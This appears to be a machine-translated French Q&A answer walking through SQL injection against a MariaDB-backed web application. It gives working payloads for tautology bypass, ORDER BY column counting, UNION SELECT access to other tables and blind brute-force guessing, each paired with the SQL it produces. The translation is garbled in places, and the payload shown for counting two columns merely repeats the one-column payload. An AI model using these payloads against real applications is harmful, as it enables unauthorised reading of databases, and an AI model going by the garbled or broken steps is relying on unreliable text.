Mysql
 sql >> Base de données >  >> RDS >> Mysql

Injection SQL MariaDb

Ok, amusons-nous alors.

Quand je regarde le message d'erreur

Je suppose que la requête et le code dans l'application ressemblent plus ou moins à ce pseudo sage, le @o est en fait une variable utilisateur MySQL.

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Je vais utiliser un violon SQL espace pour simuler un test d'injection SQL et plus obtenir un accès possible à d'autres tables.

Vous pouvez tester votre injection avec 1' OR 1 = 1# ou 1' OR 1 = 1-- les deux devraient fonctionner et devraient vous donner le même résultat lorsque vous utilisez 1 comme entrée. C'est parce que MariaDB automatique transtype les types pour d'autres bases de données, vous pourriez avoir besoin d'utiliser la version plus stricte 1' OR '1' = '1#

Qui devrait générer

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Ou

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Ensuite, parce que vous voyez des erreurs dans l'application, vous pouvez utiliser ORDER BY 1 pour vérifier combien de colonnes sont sélectionnées et incrémenter le nombre jusqu'à ce que vous obteniez une erreur.

Erreur :ER_BAD_FIELD_ERROR :colonne '2' inconnue dans 'clause de commande'

Injecter avec

1' ORDER BY 1# ou 1' ORDER BY 1--

Ce qui signifie trier sur la première colonne du jeu de résultats PAS trier 1 littéral.

Génère

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Ou

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Lorsque vous connaissez les colonnes, vous pouvez utiliser UNION pour entrer dans d'autres tables. Utilisez NULL si vous n'avez pas besoin de toutes les colonnes.

injection

1' UNION ALL SELECT NULL FROM DUAL#

Notez que DUAL est une table "virtuelle" non existante dans MariaDB, MySQL et Oracle, si vous pouvez interroger cette "table", cela signifie que vous pouvez également accéder techniquement à d'autres tables.

SQL généré

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

Et si la page Web est conçue comme une page "détail" où un enregistrement est toujours visible, vous devez ajouter un LIMIT 1, 1 dans votre injection.

Et s'il n'y a pas d'erreurs visibles dans l'application Web, vous devriez simplement pouvoir forcer aveuglément geuss avec des injections SQL aveugles et voir comment l'application fonctionne.
Essayez également des choses comme ?o=0 , ?o=NULL ou un nombre très élevé comme la valeur INT max (Signé) ?o=2147483647 ou (non signé) ?o=4294967295 avant d'essayer de forcer brutalement le numéro de colonne utilisé afin que vous sachiez comment l'application gère les enregistrements introuvables. Parce qu'il est très peu probable d'avoir l'id 0 ou que des nombres élevés sur un INT type de données, car l'application cessera de fonctionner si le dernier nombre a été donné. Si vous obtenez toujours un enregistrement avec ces nombres élevés, utilisez les valeurs maximales pour BIGINT type de données à la place.

Pour la colonne 1, même identifiant de résultat o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Pour les colonnes 2 qui généreront une erreur, mais la plupart du temps, vous verrez une page d'erreur ou un message indiquant que l'enregistrement n'a pas été trouvé.
Ou un statut d'erreur HTTP 404 (introuvable).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Un problème que vous pourriez rencontrer lors de l'utilisation de LIMIT sans utiliser ORDER BY peut-être une chance d'obtenir les mêmes enregistrements car la norme SQL a défini que les tables/ensembles de résultats SQL sont sans ordre sans utiliser ORDER BY

Donc, idéalement, vous devez continuer à utiliser ORDER BY 1 dans les forces brutes.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

Et

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Les bases de données prennent en charge ORDER BY 1 est mieux que je ne le pensais à première vue car cela fonctionne dans MySQL, MariaDB, SQL Server (MSSQL) et PostgreSQL.

Aussi ORDER BY 1 était une fonctionnalité SQL 92 qui a été supprimée dans SQL 99.
Ainsi, les bases de données SQL ne doivent pas exécuter ORDER BY 1 annymore s'ils suivraient les normes SQL sur ce point.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC